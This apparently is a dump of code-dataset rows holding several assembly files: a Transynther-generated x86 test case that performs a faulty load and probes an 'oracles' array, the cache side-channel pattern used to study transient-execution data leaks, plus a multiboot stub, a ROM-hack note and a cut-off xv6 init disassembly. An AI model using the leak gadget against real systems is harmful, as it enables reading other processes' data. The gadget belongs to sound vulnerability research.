content
stringlengths 5
1.04M
| avg_line_length
float64 1.75
12.9k
| max_line_length
int64 2
244k
| alphanum_fraction
float64 0
0.98
| licenses
list | repository_name
stringlengths 7
92
| path
stringlengths 3
249
| size
int64 5
1.04M
| lang
stringclasses 2
values |
---|---|---|---|---|---|---|---|---|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r8
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x1527c, %rsi
lea addresses_D_ht+0x19204, %rdi
clflush (%rdi)
nop
and $23394, %r9
mov $42, %rcx
rep movsl
nop
lfence
lea addresses_WC_ht+0x18f9c, %rsi
lea addresses_WT_ht+0x16e84, %rdi
nop
cmp $33441, %rax
mov $53, %rcx
rep movsq
add $59736, %rcx
lea addresses_UC_ht+0x1223c, %rsi
lea addresses_D_ht+0x2f04, %rdi
nop
nop
nop
nop
nop
sub %r10, %r10
mov $66, %rcx
rep movsb
xor %rdi, %rdi
lea addresses_D_ht+0xa104, %rdi
nop
nop
cmp %r12, %r12
mov $0x6162636465666768, %rax
movq %rax, %xmm5
movups %xmm5, (%rdi)
nop
nop
add $25191, %rdi
lea addresses_UC_ht+0x1e874, %rax
nop
nop
nop
sub %rsi, %rsi
mov (%rax), %r10d
nop
and $24466, %rdi
lea addresses_normal_ht+0x117bc, %rdi
nop
nop
cmp %r10, %r10
movb $0x61, (%rdi)
nop
nop
nop
nop
add $52026, %rdi
lea addresses_WC_ht+0xb104, %rsi
lea addresses_normal_ht+0x12704, %rdi
nop
nop
nop
sub $29832, %r8
mov $36, %rcx
rep movsq
nop
nop
sub $32601, %r9
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r15
push %r9
push %rdi
push %rdx
push %rsi
// Store
lea addresses_normal+0x17104, %r15
nop
nop
and %rsi, %rsi
mov $0x5152535455565758, %r13
movq %r13, %xmm4
vmovups %ymm4, (%r15)
sub %rsi, %rsi
// Store
lea addresses_UC+0x22b4, %r15
cmp $16588, %rdi
mov $0x5152535455565758, %r13
movq %r13, (%r15)
and %rdx, %rdx
// Store
lea addresses_PSE+0x39c4, %r15
clflush (%r15)
nop
and $3677, %r9
mov $0x5152535455565758, %r10
movq %r10, %xmm2
movups %xmm2, (%r15)
xor %r15, %r15
// Faulty Load
lea addresses_D+0x19904, %rsi
nop
nop
nop
inc %r9
vmovups (%rsi), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $0, %xmm5, %r15
lea oracles, %r13
and $0xff, %r15
shlq $12, %r15
mov (%r13,%r15,1), %r15
pop %rsi
pop %rdx
pop %rdi
pop %r9
pop %r15
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 16, 'NT': True, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': False, 'congruent': 6}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_D', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 3}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 7}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 0}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 6}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 3}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 7}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 11}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 8}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 39.801205 | 2,999 | 0.659452 |
[
"MIT"
] |
danielmgmi/medusa
|
Transynther/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_1757.asm
| 6,607 |
Assembly
|
bits 32
section .text
align 4
dd 0x1BADB002
dd 0x00
dd - (0x1BADB002+0x00)
global start
extern _kern_main
start:
call _kern_main
cli
hlt
| 15.428571 | 35 | 0.50463 |
[
"MIT"
] |
nimgLIVE/nimgLIVE
|
kernel_mingw.asm
| 216 |
Assembly
|
copyright zengfr site:http://github.com/zengfr/romhack
012A74 clr.b ($200,A5)
012A78 move.b #$2, ($1c8,A5)
012F04 move.b #$63, ($1de,A5)
01A610 dbra D1, $1a60e
01AD3E addi.b #$1e, ($1de,A5)
copyright zengfr site:http://github.com/zengfr/romhack
| 26.5 | 54 | 0.660377 |
[
"Apache-2.0"
] |
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
|
wof/lcs/base/200.asm
| 265 |
Assembly
|
_init: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
char *argv[] = { "sh", 0 };
int
main(void)
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 53 push %ebx
e: 51 push %ecx
int pid, wpid;
if(open("console", O_RDWR) < 0){
f: 83 ec 08 sub $0x8,%esp
12: 6a 02 push $0x2
14: 68 c0 07 00 00 push $0x7c0
19: e8 64 03 00 00 call 382 <open>
1e: 83 c4 10 add $0x10,%esp
21: 85 c0 test %eax,%eax
23: 0f 88 9f 00 00 00 js c8 <main+0xc8>
mknod("console", 1, 1);
open("console", O_RDWR);
}
dup(0); // stdout
29: 83 ec 0c sub $0xc,%esp
2c: 6a 00 push $0x0
2e: e8 87 03 00 00 call 3ba <dup>
dup(0); // stderr
33: c7 04 24 00 00 00 00 movl $0x0,(%esp)
3a: e8 7b 03 00 00 call 3ba <dup>
3f: 83 c4 10 add $0x10,%esp
42: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
for(;;){
printf(1, "init: starting sh\n");
48: 83 ec 08 sub $0x8,%esp
4b: 68 c8 07 00 00 push $0x7c8
50: 6a 01 push $0x1
52: e8 49 04 00 00 call 4a0 <printf>
pid = fork();
57: e8 de 02 00 00 call 33a <fork>
if(pid < 0){
5c: 83 c4 10 add $0x10,%esp
5f: 85 c0 test %eax,%eax
pid = fork();
61: 89 c3 mov %eax,%ebx
if(pid < 0){
63: 78 2c js 91 <main+0x91>
printf(1, "init: fork failed\n");
exit();
}
if(pid == 0){
65: 74 3d je a4 <main+0xa4>
67: 89 f6 mov %esi,%esi
69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
exec("sh", argv);
printf(1, "init: exec sh failed\n");
exit();
}
while((wpid=wait()) >= 0 && wpid != pid)
70: e8 d5 02 00 00 call 34a <wait>
75: 85 c0 test %eax,%eax
77: 78 cf js 48 <main+0x48>
79: 39 c3 cmp %eax,%ebx
7b: 74 cb je 48 <main+0x48>
printf(1, "zombie!\n");
7d: 83 ec 08 sub $0x8,%esp
80: 68 07 08 00 00 push $0x807
85: 6a 01 push $0x1
87: e8 14 04 00 00 call 4a0 <printf>
8c: 83 c4 10 add $0x10,%esp
8f: eb df jmp 70 <main+0x70>
printf(1, "init: fork failed\n");
91: 53 push %ebx
92: 53 push %ebx
93: 68 db 07 00 00 push $0x7db
98: 6a 01 push $0x1
9a: e8 01 04 00 00 call 4a0 <printf>
exit();
9f: e8 9e 02 00 00 call 342 <exit>
exec("sh", argv);
a4: 50 push %eax
a5: 50 push %eax
a6: 68 b0 0a 00 00 push $0xab0
ab: 68 ee 07 00 00 push $0x7ee
b0: e8 c5 02 00 00 call 37a <exec>
printf(1, "init: exec sh failed\n");
b5: 5a pop %edx
b6: 59 pop %ecx
b7: 68 f1 07 00 00 push $0x7f1
bc: 6a 01 push $0x1
be: e8 dd 03 00 00 call 4a0 <printf>
exit();
c3: e8 7a 02 00 00 call 342 <exit>
mknod("console", 1, 1);
c8: 50 push %eax
c9: 6a 01 push $0x1
cb: 6a 01 push $0x1
cd: 68 c0 07 00 00 push $0x7c0
d2: e8 b3 02 00 00 call 38a <mknod>
open("console", O_RDWR);
d7: 58 pop %eax
d8: 5a pop %edx
d9: 6a 02 push $0x2
db: 68 c0 07 00 00 push $0x7c0
e0: e8 9d 02 00 00 call 382 <open>
e5: 83 c4 10 add $0x10,%esp
e8: e9 3c ff ff ff jmp 29 <main+0x29>
ed: 66 90 xchg %ax,%ax
ef: 90 nop
000000f0 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
f0: 55 push %ebp
f1: 89 e5 mov %esp,%ebp
f3: 53 push %ebx
f4: 8b 45 08 mov 0x8(%ebp),%eax
f7: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
fa: 89 c2 mov %eax,%edx
fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
100: 83 c1 01 add $0x1,%ecx
103: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
107: 83 c2 01 add $0x1,%edx
10a: 84 db test %bl,%bl
10c: 88 5a ff mov %bl,-0x1(%edx)
10f: 75 ef jne 100 <strcpy+0x10>
;
return os;
}
111: 5b pop %ebx
112: 5d pop %ebp
113: c3 ret
114: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
11a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000120 <strcmp>:
int
strcmp(const char *p, const char *q)
{
120: 55 push %ebp
121: 89 e5 mov %esp,%ebp
123: 53 push %ebx
124: 8b 55 08 mov 0x8(%ebp),%edx
127: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
12a: 0f b6 02 movzbl (%edx),%eax
12d: 0f b6 19 movzbl (%ecx),%ebx
130: 84 c0 test %al,%al
132: 75 1c jne 150 <strcmp+0x30>
134: eb 2a jmp 160 <strcmp+0x40>
136: 8d 76 00 lea 0x0(%esi),%esi
139: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
140: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
143: 0f b6 02 movzbl (%edx),%eax
p++, q++;
146: 83 c1 01 add $0x1,%ecx
149: 0f b6 19 movzbl (%ecx),%ebx
while(*p && *p == *q)
14c: 84 c0 test %al,%al
14e: 74 10 je 160 <strcmp+0x40>
150: 38 d8 cmp %bl,%al
152: 74 ec je 140 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
154: 29 d8 sub %ebx,%eax
}
156: 5b pop %ebx
157: 5d pop %ebp
158: c3 ret
159: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
160: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
162: 29 d8 sub %ebx,%eax
}
164: 5b pop %ebx
165: 5d pop %ebp
166: c3 ret
167: 89 f6 mov %esi,%esi
169: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000170 <strlen>:
uint
strlen(char *s)
{
170: 55 push %ebp
171: 89 e5 mov %esp,%ebp
173: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
176: 80 39 00 cmpb $0x0,(%ecx)
179: 74 15 je 190 <strlen+0x20>
17b: 31 d2 xor %edx,%edx
17d: 8d 76 00 lea 0x0(%esi),%esi
180: 83 c2 01 add $0x1,%edx
183: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
187: 89 d0 mov %edx,%eax
189: 75 f5 jne 180 <strlen+0x10>
;
return n;
}
18b: 5d pop %ebp
18c: c3 ret
18d: 8d 76 00 lea 0x0(%esi),%esi
for(n = 0; s[n]; n++)
190: 31 c0 xor %eax,%eax
}
192: 5d pop %ebp
193: c3 ret
194: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
19a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
000001a0 <memset>:
void*
memset(void *dst, int c, uint n)
{
1a0: 55 push %ebp
1a1: 89 e5 mov %esp,%ebp
1a3: 57 push %edi
1a4: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
1a7: 8b 4d 10 mov 0x10(%ebp),%ecx
1aa: 8b 45 0c mov 0xc(%ebp),%eax
1ad: 89 d7 mov %edx,%edi
1af: fc cld
1b0: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
1b2: 89 d0 mov %edx,%eax
1b4: 5f pop %edi
1b5: 5d pop %ebp
1b6: c3 ret
1b7: 89 f6 mov %esi,%esi
1b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000001c0 <strchr>:
char*
strchr(const char *s, char c)
{
1c0: 55 push %ebp
1c1: 89 e5 mov %esp,%ebp
1c3: 53 push %ebx
1c4: 8b 45 08 mov 0x8(%ebp),%eax
1c7: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
1ca: 0f b6 10 movzbl (%eax),%edx
1cd: 84 d2 test %dl,%dl
1cf: 74 1d je 1ee <strchr+0x2e>
if(*s == c)
1d1: 38 d3 cmp %dl,%bl
1d3: 89 d9 mov %ebx,%ecx
1d5: 75 0d jne 1e4 <strchr+0x24>
1d7: eb 17 jmp 1f0 <strchr+0x30>
1d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
1e0: 38 ca cmp %cl,%dl
1e2: 74 0c je 1f0 <strchr+0x30>
for(; *s; s++)
1e4: 83 c0 01 add $0x1,%eax
1e7: 0f b6 10 movzbl (%eax),%edx
1ea: 84 d2 test %dl,%dl
1ec: 75 f2 jne 1e0 <strchr+0x20>
return (char*)s;
return 0;
1ee: 31 c0 xor %eax,%eax
}
1f0: 5b pop %ebx
1f1: 5d pop %ebp
1f2: c3 ret
1f3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
1f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000200 <gets>:
char*
gets(char *buf, int max)
{
200: 55 push %ebp
201: 89 e5 mov %esp,%ebp
203: 57 push %edi
204: 56 push %esi
205: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
206: 31 f6 xor %esi,%esi
208: 89 f3 mov %esi,%ebx
{
20a: 83 ec 1c sub $0x1c,%esp
20d: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
210: eb 2f jmp 241 <gets+0x41>
212: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
218: 8d 45 e7 lea -0x19(%ebp),%eax
21b: 83 ec 04 sub $0x4,%esp
21e: 6a 01 push $0x1
220: 50 push %eax
221: 6a 00 push $0x0
223: e8 32 01 00 00 call 35a <read>
if(cc < 1)
228: 83 c4 10 add $0x10,%esp
22b: 85 c0 test %eax,%eax
22d: 7e 1c jle 24b <gets+0x4b>
break;
buf[i++] = c;
22f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
233: 83 c7 01 add $0x1,%edi
236: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
239: 3c 0a cmp $0xa,%al
23b: 74 23 je 260 <gets+0x60>
23d: 3c 0d cmp $0xd,%al
23f: 74 1f je 260 <gets+0x60>
for(i=0; i+1 < max; ){
241: 83 c3 01 add $0x1,%ebx
244: 3b 5d 0c cmp 0xc(%ebp),%ebx
247: 89 fe mov %edi,%esi
249: 7c cd jl 218 <gets+0x18>
24b: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
24d: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
250: c6 03 00 movb $0x0,(%ebx)
}
253: 8d 65 f4 lea -0xc(%ebp),%esp
256: 5b pop %ebx
257: 5e pop %esi
258: 5f pop %edi
259: 5d pop %ebp
25a: c3 ret
25b: 90 nop
25c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
260: 8b 75 08 mov 0x8(%ebp),%esi
263: 8b 45 08 mov 0x8(%ebp),%eax
266: 01 de add %ebx,%esi
268: 89 f3 mov %esi,%ebx
buf[i] = '\0';
26a: c6 03 00 movb $0x0,(%ebx)
}
26d: 8d 65 f4 lea -0xc(%ebp),%esp
270: 5b pop %ebx
271: 5e pop %esi
272: 5f pop %edi
273: 5d pop %ebp
274: c3 ret
275: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
279: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000280 <stat>:
int
stat(char *n, struct stat *st)
{
280: 55 push %ebp
281: 89 e5 mov %esp,%ebp
283: 56 push %esi
284: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
285: 83 ec 08 sub $0x8,%esp
288: 6a 00 push $0x0
28a: ff 75 08 pushl 0x8(%ebp)
28d: e8 f0 00 00 00 call 382 <open>
if(fd < 0)
292: 83 c4 10 add $0x10,%esp
295: 85 c0 test %eax,%eax
297: 78 27 js 2c0 <stat+0x40>
return -1;
r = fstat(fd, st);
299: 83 ec 08 sub $0x8,%esp
29c: ff 75 0c pushl 0xc(%ebp)
29f: 89 c3 mov %eax,%ebx
2a1: 50 push %eax
2a2: e8 f3 00 00 00 call 39a <fstat>
close(fd);
2a7: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
2aa: 89 c6 mov %eax,%esi
close(fd);
2ac: e8 b9 00 00 00 call 36a <close>
return r;
2b1: 83 c4 10 add $0x10,%esp
}
2b4: 8d 65 f8 lea -0x8(%ebp),%esp
2b7: 89 f0 mov %esi,%eax
2b9: 5b pop %ebx
2ba: 5e pop %esi
2bb: 5d pop %ebp
2bc: c3 ret
2bd: 8d 76 00 lea 0x0(%esi),%esi
return -1;
2c0: be ff ff ff ff mov $0xffffffff,%esi
2c5: eb ed jmp 2b4 <stat+0x34>
2c7: 89 f6 mov %esi,%esi
2c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000002d0 <atoi>:
int
atoi(const char *s)
{
2d0: 55 push %ebp
2d1: 89 e5 mov %esp,%ebp
2d3: 53 push %ebx
2d4: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
2d7: 0f be 11 movsbl (%ecx),%edx
2da: 8d 42 d0 lea -0x30(%edx),%eax
2dd: 3c 09 cmp $0x9,%al
n = 0;
2df: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
2e4: 77 1f ja 305 <atoi+0x35>
2e6: 8d 76 00 lea 0x0(%esi),%esi
2e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
2f0: 8d 04 80 lea (%eax,%eax,4),%eax
2f3: 83 c1 01 add $0x1,%ecx
2f6: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
2fa: 0f be 11 movsbl (%ecx),%edx
2fd: 8d 5a d0 lea -0x30(%edx),%ebx
300: 80 fb 09 cmp $0x9,%bl
303: 76 eb jbe 2f0 <atoi+0x20>
return n;
}
305: 5b pop %ebx
306: 5d pop %ebp
307: c3 ret
308: 90 nop
309: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000310 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
310: 55 push %ebp
311: 89 e5 mov %esp,%ebp
313: 56 push %esi
314: 53 push %ebx
315: 8b 5d 10 mov 0x10(%ebp),%ebx
318: 8b 45 08 mov 0x8(%ebp),%eax
31b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
31e: 85 db test %ebx,%ebx
320: 7e 14 jle 336 <memmove+0x26>
322: 31 d2 xor %edx,%edx
324: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
328: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
32c: 88 0c 10 mov %cl,(%eax,%edx,1)
32f: 83 c2 01 add $0x1,%edx
while(n-- > 0)
332: 39 d3 cmp %edx,%ebx
334: 75 f2 jne 328 <memmove+0x18>
return vdst;
}
336: 5b pop %ebx
337: 5e pop %esi
338: 5d pop %ebp
339: c3 ret
0000033a <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
33a: b8 01 00 00 00 mov $0x1,%eax
33f: cd 40 int $0x40
341: c3 ret
00000342 <exit>:
SYSCALL(exit)
342: b8 02 00 00 00 mov $0x2,%eax
347: cd 40 int $0x40
349: c3 ret
0000034a <wait>:
SYSCALL(wait)
34a: b8 03 00 00 00 mov $0x3,%eax
34f: cd 40 int $0x40
351: c3 ret
00000352 <pipe>:
SYSCALL(pipe)
352: b8 04 00 00 00 mov $0x4,%eax
357: cd 40 int $0x40
359: c3 ret
0000035a <read>:
SYSCALL(read)
35a: b8 05 00 00 00 mov $0x5,%eax
35f: cd 40 int $0x40
361: c3 ret
00000362 <write>:
SYSCALL(write)
362: b8 10 00 00 00 mov $0x10,%eax
367: cd 40 int $0x40
369: c3 ret
0000036a <close>:
SYSCALL(close)
36a: b8 15 00 00 00 mov $0x15,%eax
36f: cd 40 int $0x40
371: c3 ret
00000372 <kill>:
SYSCALL(kill)
372: b8 06 00 00 00 mov $0x6,%eax
377: cd 40 int $0x40
379: c3 ret
0000037a <exec>:
SYSCALL(exec)
37a: b8 07 00 00 00 mov $0x7,%eax
37f: cd 40 int $0x40
381: c3 ret
00000382 <open>:
SYSCALL(open)
382: b8 0f 00 00 00 mov $0xf,%eax
387: cd 40 int $0x40
389: c3 ret
0000038a <mknod>:
SYSCALL(mknod)
38a: b8 11 00 00 00 mov $0x11,%eax
38f: cd 40 int $0x40
391: c3 ret
00000392 <unlink>:
SYSCALL(unlink)
392: b8 12 00 00 00 mov $0x12,%eax
397: cd 40 int $0x40
399: c3 ret
0000039a <fstat>:
SYSCALL(fstat)
39a: b8 08 00 00 00 mov $0x8,%eax
39f: cd 40 int $0x40
3a1: c3 ret
000003a2 <link>:
SYSCALL(link)
3a2: b8 13 00 00 00 mov $0x13,%eax
3a7: cd 40 int $0x40
3a9: c3 ret
000003aa <mkdir>:
SYSCALL(mkdir)
3aa: b8 14 00 00 00 mov $0x14,%eax
3af: cd 40 int $0x40
3b1: c3 ret
000003b2 <chdir>:
SYSCALL(chdir)
3b2: b8 09 00 00 00 mov $0x9,%eax
3b7: cd 40 int $0x40
3b9: c3 ret
000003ba <dup>:
SYSCALL(dup)
3ba: b8 0a 00 00 00 mov $0xa,%eax
3bf: cd 40 int $0x40
3c1: c3 ret
000003c2 <getpid>:
SYSCALL(getpid)
3c2: b8 0b 00 00 00 mov $0xb,%eax
3c7: cd 40 int $0x40
3c9: c3 ret
000003ca <sbrk>:
SYSCALL(sbrk)
3ca: b8 0c 00 00 00 mov $0xc,%eax
3cf: cd 40 int $0x40
3d1: c3 ret
000003d2 <sleep>:
SYSCALL(sleep)
3d2: b8 0d 00 00 00 mov $0xd,%eax
3d7: cd 40 int $0x40
3d9: c3 ret
000003da <uptime>:
SYSCALL(uptime)
3da: b8 0e 00 00 00 mov $0xe,%eax
3df: cd 40 int $0x40
3e1: c3 ret
000003e2 <bstat>:
SYSCALL(bstat)
3e2: b8 16 00 00 00 mov $0x16,%eax
3e7: cd 40 int $0x40
3e9: c3 ret
000003ea <swap>:
SYSCALL(swap)
3ea: b8 17 00 00 00 mov $0x17,%eax
3ef: cd 40 int $0x40
3f1: c3 ret
3f2: 66 90 xchg %ax,%ax
3f4: 66 90 xchg %ax,%ax
3f6: 66 90 xchg %ax,%ax
3f8: 66 90 xchg %ax,%ax
3fa: 66 90 xchg %ax,%ax
3fc: 66 90 xchg %ax,%ax
3fe: 66 90 xchg %ax,%ax
00000400 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
400: 55 push %ebp
401: 89 e5 mov %esp,%ebp
403: 57 push %edi
404: 56 push %esi
405: 53 push %ebx
406: 89 c6 mov %eax,%esi
408: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
40b: 8b 5d 08 mov 0x8(%ebp),%ebx
40e: 85 db test %ebx,%ebx
410: 74 7e je 490 <printint+0x90>
412: 89 d0 mov %edx,%eax
414: c1 e8 1f shr $0x1f,%eax
417: 84 c0 test %al,%al
419: 74 75 je 490 <printint+0x90>
neg = 1;
x = -xx;
41b: 89 d0 mov %edx,%eax
neg = 1;
41d: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
x = -xx;
424: f7 d8 neg %eax
426: 89 75 c0 mov %esi,-0x40(%ebp)
} else {
x = xx;
}
i = 0;
429: 31 ff xor %edi,%edi
42b: 8d 5d d7 lea -0x29(%ebp),%ebx
42e: 89 ce mov %ecx,%esi
430: eb 08 jmp 43a <printint+0x3a>
